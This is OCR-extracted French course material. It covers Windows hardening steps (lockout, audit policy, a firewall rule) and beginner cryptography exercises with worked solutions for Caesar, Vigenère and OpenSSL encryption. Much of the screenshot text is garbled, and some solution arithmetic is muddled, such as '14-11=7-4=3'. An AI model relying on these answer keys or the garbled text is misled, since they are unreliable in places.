’ ,l .egle verrouillage du comp 1| Seuil de verrouillage du compte 0 tentatives d'ouvertures.., B Sewil de verrouillage
» [ Stratégies locales
5[] Pare-feu Windows Defender avec fon Le compte sera veroulié aprés
= Stratégies du gestionnaire de listes de I :;| terfmtives d ouverures de session non vakid=s
> [ Stratégies de clé publique
s [] Stratégies de restriction logicielle
» [ ] Stratégies de contrdle de I'application
» g Stratégies de sécurité [P sur Ordinate
» | Configuration avancée de la stratégie
(o)
Ll
=
a. < N | ok | Anove | | Appliquer
T T .
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Activité 4 \\ (%r WEBFEE&E 5
Correction )) 2 HER B

Etape 4 : Définir un modéle de sécurité pour les comptes systéme

Interfaces illustrant la configuration de la nouvelle stratégie de verrouillage de comptes

T Stratégie de sécurité locale — L X,
Maodifications suggérées pour les valeurs * . . )
Fichier Action Affichage 7
Puisgue la valeur de Seuil de vemouillage du compte est maintenant 3 tentatives d'ouvertures de Lol AR lcalHEYN
;ﬁmg:é;:n valides, les paramétres des éléments suivants seront modifies pour prendre les valeurs & Parametres de sécurité Stratégic ~ Paramétre de séeurite
o . viE S‘Eratégies de comptes 1%y Durée de verrouillage des comptes 30 minutes
- . - . s s > [C4 Stratégie de mot de passe :;) Réinitialiser le compteur de verrouillages du compte aprés 30 minutes
Stratégie Paramétres de stratégie  Paramétres suggérés . 4 Stratégie de verrouillage du compl e -omp 9 preap e
. L. |2 Seuil de verrouillage du compte 3 tentatives d'ouvertures...
0] Durée de vemouillage des comptes Mon applicable 30 minutes > [ Stratégies locales
PR ] ) . » [] Pare-feu Windows Defender avec fon
\p) Réinitializer le compteur de vemouilla...  Mon applicable 30 minutes | Stratégies du gestionnaire de listes de
£ > » [ Stratégies de cl€ publique
» [ Stratégies de restriction logicielle
» [ Stratégies de contrdle de I'application
I ] 4 | | Annuler 5 {8 Stratégies de sécurité IP sur Ordinatey,
y & Configuration avancée de la stratégie

o
—
-
<
o
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Correction . LS bE THE CHANGE

Etape 5 : Définir une stratégie d’audit

Cette figure illustre I'interface permettant la configuration de la stratégie d’audit Cette figure illustre I’activation de la journalisation des tentatives
réussies et échouées pour les événements systeme.
Strategie de sécurité local - [ X . .
By Stratégie de sécurité locale Propriétés de: Auditer les événements systéme ? ped
Fichier Action Affichage 7
= | Al | x B | Paramétre de sécurité locale  Expliquer
% Paramétres de sécurité Stratégie - Paramétre de sécurité = Auditer les événements systéme
v o3 SFrE;Engs t-je:omptej L) Auditer I'acces vice d'annuaire Pas d'audit =
z '___:g S:::Zg:: d:x:(rj:ou?ll‘:a;::u com [z Auditer I'accés aux objets Pas d'audit
E;t taqi gl | g P [y Auditer I'utilisation des privileges Pas d'audit
v [ g, Stratégies locales - i i o
> Ca Stratégie d'audit |2 Auditer la gestion des comptes Pas d'audit Auditer les tertatives des types suivants
L = . - i
4 Attribution des droits utilisateur LSﬂAUd?ter le SI.:II\"'I des processus ) Pas d EUd?t Réussite
"4 Options de sécurité |2 Auditer les événements de connexion Pas d'audit
sy B Fare—feu Windaws Defender avec fon|| -4 Auditer les événements de connexion aux comptes Pas d'audit Echec
|| Stratégies du gestionnaire de listes de 4] Auditer les événements systeme Pas d'audit
s [ Stratégies de clé publique [z Auditer les modifications de stratégie Pas d'audit
» || Stratégies de restriction logicielle & Il est possible que ce paramétre ne soit pas appliqué si une autre
» || Stratégies de contréle de I'application £EL stratégie est conﬁgu’ree pour avair la priorité surla stratégie d'audit
» g Stratégies de sécurité IP sur Ordinater au niveau :_:Ie la categone:_ . ’
. . ) . L Pour obtenir davantage d'informations, consultez Auditer les
» [ Configuration avancée de |a stratégie événements systéme. (2921468)
(o]
Ll
=
(=
< >
oK | | Annuler | | Appliquer |
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Activité 4 O WEBFORCE .
Correction )l 2R, B T

Etape 5 : Définir une stratégie d’audit

Cette figure illustre I’activation de la journalisation des tentatives réussies Cette figure illustre I’activation de la journalisation des tentatives réussies et
et échouées pour les événements de connexion échouées pour les événements de connexion aux comptes
Propriétés de: Auditer les événements de connexion ? X Proprigtés de : Auditer les événements de connexion aux ... [ X
Parametre de securite locale  Expliquer Faramétre de sécurnité locale  Expliquer
Auditer les événements de connexion Auditer les événements de connexion aux comptes
Auditer les tentatives des types suivants Auditer les tentatives des types suivants
Réussite Réussite
Echec Echec
ﬁk Il est possible que ce paramétre ne soit pas applique si une autre fﬁ Il est possible que ce paramétre ne soit pas appligué si une autre
“£=%  giratégie est configurée pour avoir la priorté sur la stratégie d'audit £2L stratégie est configurée pour avoir la prionté sur la stratégie d'audit
au niveau de la catégore. au niveau de |a catégorie.
Pour obtenir davantage d'informations, consultez Auditer les Pour obtenir davantage d'informations, consultez Auditer les
gvénements de connexion. {3921468) evénements de connexion aux comptes. (3921468)
(o]
L
=
a.
QK I | Annuler | | Appliquer | oK I | Annuler | | Appliquer |
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Activité 4
Correction /]

Etape 5 : Définir une stratégie d’audit

Cette figure illustre I’activation de la journalisation des tentatives réussies
pour 'utilisation des privileges

Propriétés de: Auditer I'utilisation des priviléges ? =

Farametre de securité locale  Expliquer

E Auditer I'utilisation des priviléges

Auditer les tentatives des types suivants
Réussite
[]Echec

ﬁk Il est possible gue ce paramétre ne soit pas appliqué si une autre
“£2  stratégie est configurée pour avoir la prionté sur la stratégie d'audit
au niveau de la catégorie.
Pour obtenir davantage d'informations, consultez Auditer ['utilisation
des priviléges. (3921468)

o
—
-
<
o

0K || Annuler || Appliquer |
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I'accés aux objets

Propriétés de: Auditer I'accés aux objets ? x

Paramétre de sécurnte locale  Expliquer

Auditer I'accés aux objets

Auditer les tentatives des types suivants
Réussite
[ ] Echec

[:ﬁ. Il est possible que ce paramétre ne sot pas appliqué si une autre
8% giratégie est configurée pour avoir la prionté sur la stratégie d'audit
au niveau de la catégorie.
Pour obtenir davantage d'informations, consuttez Auditer |'accés

aux objets. (3921468)

I QK || Annuler || Appliquer |
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Cette figureillustre I’activation de la journalisation des tentatives réussies pour
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Activité 4
Correction

Etape 5 : Définir une stratégie d’audit

o
—
-
<
o

Cette figure illustre la configuration finale de la stratégie d’audit définie

i; Stratégie de sécurité locale v — O
Fichier Action Affichage 7
e nmE XK=

% Paramétres de sécurité Stratégie - Paramétre de sécurité

~ [ g Stratégies de comptes
» [ Stratégie de mot de passe
» [4, Stratégie de verrouillage du comp
~ |4 Stratégies locales
» | g Stratégie d'audit
("4, Attribution des droits utilisateur
[ 4, Options de sécurité
» | Pare-feu Windows Defender avec fon
[ Stratégies du gestionnaire de listes de
» || Stratégies de clé publique
» [ Stratégies de restriction logicielle
» [] Stratégies de contréle de I'application
» ,g Stratégies de sécurité [P sur Ordinater
» || Configuration avancée de la stratégie

1y Auditer I'accés au service d'annuaire

15| Auditer I'accés aux objets

15| Auditer |'utilisation des priviléges

15| Auditer |a gestion des comptes

15| Auditer le suivi des processus

19| Auditer les événements de connexion

15| Auditer les événements de connexion aux comptes
15| Auditer les événements systéme

12| Auditer les modifications de stratégie

Pas d'audit
Réussite
Réussite

Pas d'audit
Pas d'audit
Réussite, Echec
Réussite, Echec
Réussite, Echec
Pas d'audit
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Etape 6 : Exécuter la restauration du systéme et créez un point de restauration.

ot W

B Pt T b

Ces figures illustrent les étapes de création d’un point de restauration

BE THE CHANGE

L
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ordrateur 5 watne lecteur de disque cu oodnateur s arete detonchonner, Cependant. vous ne
pouves pas stectonner O Sdmiems ind s dues & restaure.
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Correction

B Pt T b

Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Cette figure illustre I'interface de configuration du pare-feu Windows

& Pare-feu Wirdows Defander avec fonctions avancées de sécurnd - a X
Fichier  Action  Affichege 7
| M o
‘ LIS CVEE DR R D Pare feu Windows Detender avec foactions avancées de séourité sur Ordinateur local
B3 Régles de tratic entraet A
Y Reégles de trafic sortant ‘ Le Pare feu Window Defender avee lonctors avanedes de sécuté ctie une sounté iéasau pourles odinat .
& Régles de sécurité de conre Wrdoms. o Imponter la statdg ..
y B Acudye o Experter s stratége..
Vure d'ensemnble Restaurer |s strategre per défees
Profil de domaine Dagnestiquer / Répares
@ Le Porefeu Yindows Defenderest scnvé. Afichage 2
0 Les connendons emrantes qu ne corespandent pas & Lne ragle sont bodudes. ,
o Les connedons 2onames U ne cameapondent pas & une ndgle sort aunorsdes i Actunkeer
] Prooriéss
| @ profil privé ast actif Aide
@ e Pomdma Vindows Defance aet aci
0 Let corencns srrantes qu e corsepondent pas & une mgle sort bocuses.
B Les comrmnnns soriartes .1 e comaspondent pas & ure régle 1ort sutcrzess
Prohl public
@ Le Pare feu Windows Defenderest active.
Q Les comnedons errantes gu ne corespondont paa i une sigie aont ogudes
o L cavmicocen s acdanbist (i e comoporadint a4 ars g sord aforsie
B Foprates cu Pamden Wincows Defence
N Démarrer
Ll Authentifier les communications enbre les ordmateurs
o Covez e regiess des pacame dhe conrmenn ofie de somcier commeer. ot coand ke comreoone ste s orrateons i
E atwntliden of protdgien 3 'ace de b seoutd A crotecsks Mond (Faec)
< B Reges de secumé de comenon
Q. Afficher et créaer des régles de pare-fau
3 ol iR e e e e e e e St e 165
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Correction /] s b

Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Dans cette fenétre, il suffit de sélectionner Personnalisée puis de cliquer Dans cette fenétre, sélectionnez Personnaliser , sélectionnez ensuite Appliquer
sur Suivant a ce service et défilez la liste pour sélectionner Windows Update et cliquez sur
OK et ensuite sur Suivant
@ Assistant Mouvelle régle de trafic sortant x® i fsscstant Mowelle régle de brafic sortant *
Type de régle Provgrewmumaz i
Sélectionnez le type de régle de parefeu & créer. Spdofier e chemin d'acoia complet au programee o ke nom du Sichier exéoutable du programme auque comespond cothe rigls
Personnaliser les paramétres des services ~
Etapes : Flapes -
@ Type derégle Quel type de régle voulez-vous créer ? @ Tipe de righ B guer celle réghs comee B
@ Programme & Programme ) Applquer 3 tous lea pragrammes of senicea
& Protocole et ports ) Programme @ Frotocoke st L) Appliguer sus services uniguement
@ Bendue Redgle qui contréle les connexions d'un programme. & Flendue W Apphqusr & o= sernce r
@ Action O Port & Action Ha= Mo el -
@ Profil Regle qui contréle les connexions d'un port TCP ou LIDP. @ Frohl Lk, WarpdI Téve WapATéve l
o tom O Prédéfinie - @ Nom iwc Assistard W Amsstart Service
@Firswall AP1.dll -80200 - L Windoms Connect Mow - Regigts de cofguralion wimsEe
Régle qui contrle les connexions liges & |'utiisation de Windows. e, Windows Installer MSISEner
L £ Windows Misnd Bealty Cpen®R Serdce MuedRealty(nen X ASve
(@ Personnalisée ‘-#L _: [— Wihmarh E
Régle personnalisée. " A |
(o] L Fhowansve -
w T} Appliquer au servics: poant o nom cous par semple | evendiog)
0
< e
a.
|« Préciden Suwarts | | Annuer

<Precedent [ Suvani> || Annuer
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Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Dans cette fenétre, il suffit de sélectionner TCP comme protocole, puis de Dans cette fenétre, conservez les parametres par défaut et cliquez sur
cliquer sur Suivant Suivant
ﬂ Assistant Mouvelle régle de trafic sortant X ﬂ Assistant Nouvelle régle de trafic sortant >
Protocole et poris Etendue
Spécifiez les protocoles et les ports auxquels s'applique cette régle. Spécifiez les adresses |P locales et distantes auxguelles s'applique cette régle.
Etapes - Etapes -
@ Type deridle A quels ports et protocoles cette régle s'appliquet-elle ? @ Type derége
@ Programme @ Programme A quelles adresses IP locales cette régle s’appliquet-elle ?
& Protocole et ports Type de protocale : |TCP - @ Protocole et ports (® Toute adresse IP
@ EBtendue Mume de protocale @ FEtendue (O Ces adresses IP
@ Action @ Action Ajouter...
@ Profi @ Profi e
. odifier...
® Nom Port local : |Tousles ports V| @ MNom
Supprimer
Exemple : 80, 443, 5000-5010
Port distant - |Tous|e5 ports - | Personnaliser les types d'interfaces auxquels cette régle s'applique :
A quelles adresses IP distantes cette régle s applique-t-elle ?
Exemple : 80, 443, 5000-5010 ES e
(o) Paramétres ICMP (intemet Cortrol Ter @®) Toute adresse IP
wl Message Protocol) : (0) Ces adresses IP
I: Ajouter...
o Modifier...
< Supprimer
a.
<Précédent | [ Suvamt> | | Annuer <Précédent | [ Suvant> | | Annuer
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T

Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Dans cette fenétre, il suffit de sélectionner Autoriser la connexion, puis de Dans cette fenétres, sélectionnez tous les profils (Domaine, Privé et
cliquer sur Suivant Publique) puis cliquez sur Suivant

ﬂ Assistant Nouvelle régle de trafic sortant * i Assistant Nouvelle regle de trafic sortant X
Action Profil
Spécifiez une action a entreprendre lorsqu'une connexion répond aux conditions spécifiées dans la regle. Specifiez les profils auxguels s'applique cette regle.
Etapes - Etapes :
@ Type de rigle Quelle action entreprendre lorsgu'une connexion répond aux condtions spécifiées 7 @ Type de régle (Quand cette regle est-elle appliquee 7
& Programme ® @ Programme

Autorizer la connexion :
@ Protocole et ports ) ) .. - ) @ Protocole et ports Domaine

Cela comprend les connexions qui sont protégées par le protocale IPsec, ainsi que celles qui ) . ) ) . . )
@ Etendue ne le sont pas. & Etendue Lors de la connexion d'un ordinateur & son domaine d'entreprise.
- R (O Autoriser la connexion si elle est sécurisée & Action Privé

Cela comprend uniguement les connexions authentifiées a |'aide du protocole |Psec. Les : ; : . : s .
@ Profi connexions sont sécurisées a |'aide des parametres specifies dans les propriétés et régles @ Profil Iaz:igleelzjzﬂn::r:;ud un ordinateur & un emplacement réseau prive. par exemple &

|Psec du noeud Régle de sécurité de connexion. ’
@ Nom @ MNom Public

Personnaliser... Lors de la connexion d'un ordinateur & un emplacement public.
(") Bloguer la connexion
Ll
=
<Précédent | [ Suwvart> || Anner | <Précédent | [ Suvam> ||  Annuer
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Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Dans cette fenétre il suffit de définir le nom de la régle, "Autoriser le service Windows Update", puis de cliquer sur Terminer

W Lssistant Nouvelle regle de trafic sortant 4

Mom
Spécfier le nom o la descrption de cefie régle,

Elq::l'.
Type de régle
Fragramme

Prafocate &l pods
] Tern
Autoniaer ke service Windows Lipdate |

Frafi Diescription Facyitat] ;

¥
3

N
—
-
<
o

cPrécédent || Teeminer | |  Annder
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b P B

Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Cette interface illustre que la nouvelle regle définie a été ajoutée avec succes au pare-feu et apparait dans la liste des regles

“ Pere=fau Windmes Defercer pres fonchors pesrcies de séyrbs - ] Y
Fichier fiction  AFichage T
e oM = Him
ﬂ Fare-feu Windows Defender o t
— R et ot -1 : Goupe PoflAdwée Action g | Boledetfcsotent - |
m Mihﬁ*wtédecaﬂﬂl 'ﬁmrknm:\\indmlbdm Tourt Cui MI}ITI u Flouradli riyle..
» B ansiyse T8 EFirewall AP A0 -EE EFrewalAPLall -30200 Tourt Cha Haror F Fitrer par prefil ¥
G Skype {PECH3-9E3 AVEE-BA26-.,  Tour i faror : i
£ Skype TR ARATEE, Toe Oui Ao || T R par deat iy
& Affichage sans i [T worart) Afickage nera fil Tonr Chad Aarnr T Filsir pan gioups ]
G Al hage sans B [UTE sorkant) Affickage wars fil Tmit i Barnr ffichage ¥
Hwwnbanew 3 didance [FRAE - onowmilin) Baninlancw a chslanie Pubke Fer A
ﬂ Asnbance I disdtance [PRNF - in soibi) Basislance dcdhslance Dema.. Cui Aol K Actusltzer
@ Assstance § disdtance [S30P TCP - gn serl.  Sssislance i distance Derma.  Cui Loy (= Exporter laliste..
I Assstance § distance [SSOP UDP - onsar.. Assistance & shstance Dema. Oui Ator H zi
Asssbance 3 difance [ICP-Sarke)] Bgzistance d chstance Pubkc Mo Aaror . .
@ Assstance 3 distance (TCP-Sorbe] Assistance & distance boma.. Gui aror | fusosier leservice Windows Updste < |
@ Lssetancs § distance [Trafic soant TOP 5., Sszistance & chskance Dema.. Cua Acsor # Dircacbver la myle
& Astuces Micrescht Astures Microsoft Tourt Cui Beror & Coupe
Cloenmt de mrise en ceche hitengd de Grer.,.  DranchCeche - Client de ., Tour For Saror . )
Découverte d bomologue de DranchCac.,  DanchCache - Découvers ., Toun ko Baror Ha Copier
Extraction du conte o GeerchCacke (., BranchCeche - Extrection d., Toun Feor faror x Supprime:
Serveur cle cache héhergé de RranchCac.,  BranchCache - Serveprde ., Ton Ko farnr t] Eroprigkss
@ Calewiatrics Windmes Calzulstrice Windcas Tonr Chi Agrnr ﬂ Zide
& Carnéra Windman Cameém Windows Tmr Chal PAarnr
G Cartin Winduws Carben Windiran Tt i At
N G Cumpagnon de b consule e Compagren du la coneok 3., Tt O Bt
m Hcmuph'pmrn-l.r\ﬂulmitdirr Cownple professionnd ou s Toul Cuid Aol
[r— ﬂCnnlcnuM.cmsm Cowiteriu Microsolt Towit O Ao
l— Coondinateur de trvsackors disnbudes .. Cowdinateur debansaction.. Prive, . Ko Hor
z Coondinateur de trsactons disinbudes .. Coordimateur detransachon..  Doma. Kom Hator
< @ Cortana Cortama Tt Cu Asor
@ Coumer et calerarier Coooarnier ot calendner T Gl Awror
m B N riirvarta Aa rbsmnns WG-Fi Dirmet (Tarrinl Deeee da eseenn W50 Bakbe O aomne ™
[ ¥ | 3
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DECOUVRIR LA CRYPTOGRAPHIE ET LES
q_,, SOLUTIONS DE GESTION ET DE PARTAGE
DE CLES

Dans ce module, vous allez :

Chiffrer et déchiffrer des textes en utilisant des algorithmes
de chiffrement classique

Utiliser OpenSSL pour chiffrer, déchiffrer, et signer des

[ ]
textes, générer des clés, mettre en place une PKI, et générer
des certificats numériques
‘l‘.' * .l H

13 heures
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APPLICATION DES TECHNIQUES DE
CHIFFREMENT CLASSIQUES

Compeétences visées :

* Chiffrer des textes en utilisant des algorithmes de
chiffrement classique

* Déchiffrer des textes en utilisant des algorithmes de
chiffrement classique

Recommandations clés :

* Maitriser les principes des algorithmes de chiffrement
classique, en particulier César et Vigenere
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1. Pour le formateur

. Lapprenant doit étre capable de chiffrer un texte en claire avec le chiffrement de
César et Vigenere

. Il doit étre également capable de déchiffrer un texte chiffré avec le chiffrement de
César et Vigenere

2. Pourl'apprenant

. Il est recommandée de maitriser les principes des algorithmes de chiffrement
classique, en particulier César et Vigenére

’ 3. Conditions de réalisation :

. Aucune condition exigée

4. Criteres de réussite:

. Avoir un texte chiffré lorsqu’on part d’un texte en claire

. Avoir un texte en clair (qui a un sens) en partant d’un texte chiffré
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Exercice 1 : Chiffrement de César

* Lobjectif de cette exercice est d’essayer de chiffrer et déchiffrer des textes en utilisant I'algorithme de César. Pour cette raison, vous étes chargés d’effectuer les taches
suivantes

1. Chiffrez le texte suivant, avec le chiffrement de César, sachant que la distance de décalage est 5.

* Texte en claire : cet exercice entre dans le cadre de chiffrement classique

2. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que la distance de décalage est 7.

* Textechiffrée:shcpllzailssl

3. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que le premier mot du texte claire estle.

e Texte chiffrée;:ohvrohloeulooh

on
—
-
<
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Exercice 2 : Chiffrement de Vigenére

* L'objectif de cette exercice est d’essayer de chiffrer et déchiffrer des textes en utilisant le chiffrement de Vigenére. Pour cette raison, vous étes chargés d’effectuer les
taches suivantes :

1. Chiffrez le texte suivant, avec le chiffrement de Vigenére en utilisant la clé EXERCICE.

e Texte en claire : CHIFFRE DE VIGENERE

2. Déchiffrez le texte suivant, qui a été avec le chiffrement de Vigenére en utilisant la clé EXERCICE.

¢ Texte chiffré : PBWFNMKPFOMCNM

on
—
-
<
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Exercice 1 : Chiffrement de César

1. Pour chiffrer un texte avec le chiffrement de César avec une distance de décalage égale a 5, il faut préparer le tableau de correspondance de I'alphabet, comme suit :

Lettres d’origine BIC|ID|E[F[G|H|I]|J|K|JLIM|IN|O|P[Q|R[S|T|U|VIW|X]|Y]|Z

Lettres de remplacement correspondantes G|H[I[J|K|[L[M|N|O|[P|Q|R|S|T|JU|VIW[X|Y]|Z|[A|B|C|D|E

* Ensuite, il faut chercher les correspondances de chaque lettre dans le texte claire comme suit :

(6EI{-M c(e|[t|e|x|e|r]|cli|cle|le|n|t|r|e|[d|a|n|s]|l]|e|lc|la|ld|[r|e|[d|ufc|H|I|f]|f]|lr|le|lm|e|n|[t|c|[l]|als|s]i]qlu]|e

Oz h | jlylilclilw|lh|n|h]jljls|y|w]|jli|lf]|s]|x|alj|lh|f|li|lw|]jli|lz[HM|n|k|lk|w]jlr|j|ls|yl|lh|lalf|x|x]|n|[v]z]]j

* Texteenclaire:cet exercice entre dans le cadre du chiffrement classique

 Textechiffrée: hjy jcjwhnhj jsywj ifsx qj hfiw]j iz hmnkkwijrjsy hgfxxnvzj

on
—
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Exercice 1 : Chiffrement de César

2. Pour déchiffrer un texte qui a été avec le chiffrement de César avec une distance de décalage égale a 7, il faut préparer le tableau de correspondance de l'alphabet,
comme suit :

Lettres d’origine B{C|ID|E[F|[G|H|I]|J|K|]L|IM|IN|O|P[Q|R[S|T|U|[VIW|X]|Y]|Z

Lettres de remplacement correspondantes I [JIK|[L|[M[N|O|P|Q|R|S|T[U[V[W[X|[Y|[Z|A|B|C|D|E|F|G

* Ensuite, il faut chercher les correspondances de chaque lettre dans le texte chiffré comme suit :

Chiffré hlclpl|l|[l]z]ali|l]s]s]]I

Claire alv|ilelels|t]|blel|ll|l]e

* Texte chiffré : sh cpl lza ilssl

e Texteenclaire: la vie est belle

on
—
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BE THE CHANGE

Exercice 1 : Chiffrement de César

* Pour déchiffrer un texte chiffré avec le chiffrement de César, il faut alors calculer la distance de chiffrement en premier lieu.

* Le premier mot du texte claire est le, tandis que le premier mot du texte chiffré est oh alors :

—_

* Position de la lettre o dans l'alphabet est 14

* Position de la lettre L dans l'alphabet est 11
= Distance est alors égale a 3 (14-11=7-4=3)
* Position de la lettre h dans l'alphabet est 7

* Position de la lettre e dans l'alphabet est 4

N

* Préparez ensuite le tableau de correspondance de l'alphabet, comme suit :

Lettres d’origine KILIMI[N[O[P[Q[R|S|T|U|VIW|X]|Y]|Z

Lettres de remplacement correspondantes N|IO|P|Q|R[S|T|U[V[W[X]|Y]|Z|A|B]|C

(ehliiizzM o | h|v|r|lo]lh|l|o]lelu|l|o|o]h

oFY[{- | [e|s|ofl|eli]l|b|lr]ill|l]e

on
—
-
<
o

e Texte chiffré : oh vrohlo eulooh

e Texteenclaire: le soleil brille
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Exercice 2 : Chiffrement de Vigenére
1. Pour chiffrer le texte CHIFFRE DE VIGENERE avec le chiffrement de Vigenére en utilisant la clé EXERCICE , il faut suivre les étapes suivantes :
* Préparez un tableau contenant les positions des lettres de I'alphabet :
Alphabet A B C D E F G H | J K L M N (o] P Q R S T U V | W[ X Y y4
Position 0 1 2 3 4 5 6 7 8 9 |10 |11 |12 |13 (14 |15 (16 | 17 (18 | 19 ( 20 | 21 ( 22 | 23 | 24 | 25

* Préparez un deuxiéme tableau comme suit :
* La premiere ligne : Mettez les lettres du texte en claire dans la premiere ligne. Chaque case contient une lettre.
* Ladeuxieme ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte en claire pour remplir la deuxieme ligne.
* Latroisieme ligne : Mettez les lettres du mot clé, EXERCICE dans notre exemple, autant de fois jusqu’a remplir tous les colonnes du tableau.
* La quatriéme ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatrieme ligne.
* Lacinquiéme ligne : Calculez les positions des lettres du texte chiffré en appliquant la formule ¢; = (p; + ki moa m) mod 26.

* Lasixieme ligne : Identifiez le texte chiffré en partant des positions calculées et en se référant au tableau des positions.

on
—
-
<
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Exercice 2 : Chiffrement de Vigenére

e Le tableau en résultant est le suivant :

CLAIR C H | F F R E D E Vv | G E N E R E
Paar 2 7 8 5 5 17 4 3 4 21 8 6 4 13 4 17 4
CLE E X E R C | C E E X E R C | C E E
P 4 23 4 17 2 8 2 4 4 23 4 17 2 8 2 4 4

P chieere 6 4 12 | 22 7 25 6 7 8 18 | 12 | 23 6 21 6 21 8
CHIFFRE G E M w H Z G H | S M X G Vv G Vv |

* Le résultat est le suivant :
* Texte en clair : CHIFFRE DE VIGENERE
* Clé: EXERCICE
* Texte Chiffré : GEMWHZGHISMXGVGVI

on
—
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Exercice 2 : Chiffrement de Vigenére

2. Pour déchiffrer le texte PBWFNMKPFOMCNM, qui a été fait avec le chiffrement de Vigeneére en utilisant la clé EXERCICE, il faut suivre les étapes suivantes :

* Préparez un tableau contenant les positions des lettres de I'alphabet :

Alphabet A B C D E F G H | J K L M N o) P Q R S T U V| W]|X Y Z

Position 0 1 2 3 4 5 6 7 8 9 10 | 11 | 12 | 13 | 14 ( 15 (16 ( 17 | 18 [ 19 | 20 | 21 | 22 | 23 | 24 | 25

* Préparez un deuxiéme tableau comme suit :
* La premiere ligne : Mettez les lettres du texte chiffré dans la premiere ligne. Chaque case contient une lettre.
* La deuxieme ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte chiffré pour remplir la deuxieme ligne.
* Latroisieme ligne : Mettez les lettres du mot clé, EXERCICE dans notre exemple, autant de fois jusqu’a remplir tous les colonnes du tableau.
* La quatriéme ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatriéme ligne.
* Lacinquiéme ligne : Calculez les positions des lettres du texte en clair en appliquant la formule p; = (¢; + 26 — k; moa m) mod 26.

* Lasixieme ligne : Identifiez le texte en clair en partant des positions calculés et en se référant au tableau des positions.

on
—
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Exercice 2 : Chiffrement de Vigenére

e Le tableau en résultant est le suivant :

CHIFFRE P B w F N M K P F (0 M C N M

Pourra | 15| 12 | 22| 5 [ 13|12 |10 |15 | 5 [ 14| 12| 2 | 13| 12

CLE E|X|E|R|Cc|1 | c|E|E|[X]|E]|R|C]|I
Pe 4 | 23| 4 (17| 2|8 |2 |4 |4 |23|4|17]| 2|38
Poar | 11| 4 |18 |24 |12 | 4 | 8 |12 | 1 |17 | 8 |11 | 11| 4
CLAIR L|E|s|o|L|E|f1|L]|B|R|I1|L]|L]|E

e Le résultat est le suivant :
e Textechiffec:P BWFNMKPFOMCNM
e Clé: EXERCICE

e Texteenclaire:LE SOLEIL BRILLE

o
—
-
<
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CHIFFREMENT/DECHIFFREMENT
SYMETRIQUE GRACE A OPENSSL

Compeétences visées :

*  Chiffrer des fichiers en utilisant des algorithmes de
chiffrement symétriques grace a OpenSSL

* Déchiffrer des fichiers en utilisant des algorithmes de
chiffrement symétriques grace a OpenSSL

* Générer des clés symétriques

Recommandations clés :

* Maitriser le principe d’un systeme de chiffrement symétrique

3 heures
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1. Pour le formateur

. Lapprenant doit étre capable de chiffrer/déchiffrer des fichiers avec des algorithmes
de chiffrement symétriques en utilisant OpenSSL

. Il doit étre également capable de générer des clés de chiffrement symétrique

2. Pour l'apprenant

. Il est recommandée de maitriser le principe de chiffrement symétrique

. Il faut utiliser les commandes fournies au début de l'activité

. Il est également recommandée de suivre les étapes décrites dans I'énoncé
’ 3. Conditions de réalisation :

. VirtualBox installé

. Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu :
https://www.osboxes.org/ubuntu/#ubuntu-21-10-info

4. Criteres de réussite:

. Générer un fichier chiffré a partir d’un fichier en claire
. Générer un fichier claire a partir d’un fichier chiffré
. Générer une clé symétrique

. Utiliser avec succes les différents types d’algorithmes de chiffrement symétriques



https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
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Présentation de OpenSSL

* OpenSSL est une bibliothéque cryptographique open source qui implémente Secure Sockets Layer (SSL) et Transport Layer Security (TLS).

* OpenSSL fournie un ensemble de commandes exécutables en lighe de commande et permettant d’offrir plusieurs fonctionnalités telles que :
* Le chiffrement et le déchiffrement : plusieurs algorithmes de chiffrement sont implémentés dans OoenSSL tel que RSA, DES, IDEA,AES, RC4,etc..
* Le calcul d’empreinte numérique : plusieurs fonctions de hachage sont implémentés tel que MD5, SHA, etc..
* Laforge de clef RSA

e La création de certificat X509

* Le syntaxe d'une commande OpenSSL est la suivante :

openssl <commande> <options>

on
—
-
<
o
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Présentation de OpenSSL

* Lobjectif principal de cette activité est de se familiariser a I'utilisation d’'OpenSSL en essayant de réaliser le chiffrement et le déchiffrement symétrique

* Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation du chiffrement et du déchiffrement :

Permet de générer un fichier avec un contenu -e : encrypt = chiffrer
chiffré <chiffre.enc> a partir d’un fichier avec
un contenu en texte clair <claire.txt> en

utilisant un algorithme de chiffrement <algo> -out: Output file = fichier résultant

openssl enc <-algo> -in <claire.txt> -e -out <chiffre.enc> -in : Input file > fichier en entrée

Permet de générer un fichier avec un contenu

déchiffré <claire.dec> a partir d’un fichier avec ~ -d : decrypt = déchiffrer
un contenu chiffré <chiffre.enc> en utilisant un

algorithme de chiffrement <algo>

openssl enc <-algo> -in <chiffre.enc> -d -out <claire.dec>

openssl rand -out <clé.key> <nombre_bits> Géneére un nombre aléatoire de taille nombre_bits

Chiffrer un fichier avec I'AES et une clé. Pour déchiffrer, il suffit de changer l'option —e a -

openssl aes-256-cbc -in <claire.txt> -out <chiffre.enc> -e -k <clé.key> q

L'ajout de cette option aux commandes précédentes permet de produire un fichier lisible

L'option - '
option -a qui est codé en base64

on
—
-
<
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Travail demandé

e Comme cité précédemment, 'objectif principal est d’utiliser OpenSSL pour chiffrer et déchiffrer des fichiers. Pour ce faire, vous étes chargés dans cette activité
d’effectuer les taches suivantes :

1. Vérifiez que OpenSSL est installé dans votre machine Ubuntu et déterminez sa version en tapant la commande : openssl version [-a] ;

2. Créez un fichier, nommé message, qui inclut le texte suivant :

Bonjour tout le monde !
Ce document est utilisé pour tester le chiffrement/déchiffrement symétrique avec OpenSSL.

Chiffrez le fichier message avec l'algorithme de chiffrement DES3. Le fichier chiffré est nommé message.enc ;
Déchiffrez le fichier message.enc. Le fichier déchiffré est nommé message.dec;

Vérifiez que les deux fichiers message et message.dec contiennent le méme contenu ;

Affichez le contenu du fichier message.enc ;

Répétez les étapes 326 en utilisant 'option —a ;

